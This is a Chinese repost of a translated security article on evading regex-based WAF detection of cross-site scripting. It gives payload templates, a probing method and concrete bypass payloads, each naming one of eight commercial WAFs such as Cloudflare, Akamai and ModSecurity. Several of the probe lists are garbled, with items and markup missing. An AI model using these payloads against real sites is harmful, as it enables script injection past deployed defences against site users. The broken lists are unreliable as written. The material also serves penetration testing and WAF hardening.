看我如何绕过WAF的XSS检测机制

栏目: 编程工具 · 发布时间: 5年前

内容简介:本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。本文假设读者对XSS、HTML和JavaScript已经有了基本的了解。

看我如何绕过WAF的XSS检测机制

概述

本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。

致读者

本文假设读者对XSS、HTML和JavaScript已经有了基本的了解。

全文使用{string}来代表Payload机制中的组件。

全文使用{?string}来代表可选组件。

全文使用“主要字符”这个名词代表Payload中必须包含的字符。

作者建议使用URL编码来处理Payload中不安全的字符,例如“+”和“&”等等。

在探测过程中,建议使用无害的字符串来代替{javascript}。

介绍

XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。

本文提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。

HTML上下文

当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:

1、 标签内:
  
   
2、 标签外:
   Youentered $input

  

标签外

在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:

1、
  
   
    <[a-z]+;
3、x
    
     <[a-z]+;
4、
     
      <[a-zA-Z]+;
5、
      
       <[a-zA-Z0-9]+;
6、
       
        <.+;

       
      
     
    
   
  

如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。这种方式的假阳性率非常高,因此不鼓励使用。如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。

Payload机制#1

<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:

1、<tag xxx – 如果无法通过,则为{space};
2、<tag%09xxx – 如果无法通过,则为[\s];
3、<tag%09%09xxx – 如果无法通过,则为\s+;
4、<tag/xxx – 如果无法通过,则为[\s/]+;
5、<tag%0axxx- 如果无法通过,则为[\s\n]+;
6、<tag%0dxxx>- 如果无法通过,则为[\s\n\r+]+;
7、<tag/~/xxx – 如果无法通过,则为.*+;

这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“on\w+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:

1、
  
   
  
    

下面是一些防火墙黑名单中没标记的事件处理器:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

常用的Payload结束符如下:

<payload>
<payload
<payload{space}
<payload//
<payload%0a
<payload%0d
<payload%09

Payload机制#2

<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

使用了<object>标签的Payload可以利用下面的Payload机制来构建:

<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}

Payload机制#3

这种Payload机制有两种形式:明文或混淆处理。

明文结构如下:

<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}

混淆处理后的Payload结构如下:

<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}

JavaScript上下文

Payload机制#1

{quote}{delimiter}{javascript}{delimiter}{quote}

可用的Payload有:

'^{javascript}^'
'*{javascript}*'
'+{javascript}+'
'/{javascript}/'
'%{javascript}%'
'|{javascript}|'
'<{javascript}<'
'>{javascript}>'

Payload机制#2

{quote}{delimiter}{javascript}//

可以使用下列Payload机制来构建Payload:

'<{javascript}//'
'|{javascript}//'
'^{javascript}//'

防火墙绕过

在研究过程中,总共绕过了八款WAF。下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:

WAF名称:Cloudflare

Payload:<a”/onclick=(confirm)()>click

绕过技术:非空格填充

WAF名称:Wordfence

Payload:<a/href=javascript&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Barracuda

Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click

绕过技术:数字字符编码

WAF名称:Akamai

Payload:<d3v/onauxclick=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:Comodo

Payload:<d3v/onauxclick=(((confirm)))“>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:F5

Payload:<d3v/onmouseleave=[2].some(confirm)>click

绕过技术:黑名单中缺少事件处理器以及函数调用混淆

WAF名称:ModSecurity

Payload:<details/open/ontoggle=alert()>

绕过技术:黑名单中缺少标签或事件处理器

WAF名称:dotdefender

Payload:<details/open/ontoggle=(confirm)()//

绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆

参考资料

HTML规范:【 传送门

数字字符引用:【 传送门

* 参考来源: s0md3v ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

社交红利2.0

社交红利2.0

徐志斌 / 中信出版社 / 2015-9 / 42元

大型社交网络发展至今,开始显露出更为惊人的力量。有一个独特现象与这一结果相伴相生,即新应用或服务一进入社交网络就即时引爆,就像用户在等待它出现一样。随即开始的病毒式扩散,让创业者成为全民话题的焦点。但这一切是如何实现的?具备哪些特征的合作伙伴才可以被即时引爆? 作者从其长期追踪的近30个一进入微博、微信就引爆的经典案例中甄选出若干典型案例。从大量一手鲜活的后台数据入手,并结合腾讯对社交网络的......一起来看看 《社交红利2.0》 这本书的介绍吧!

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具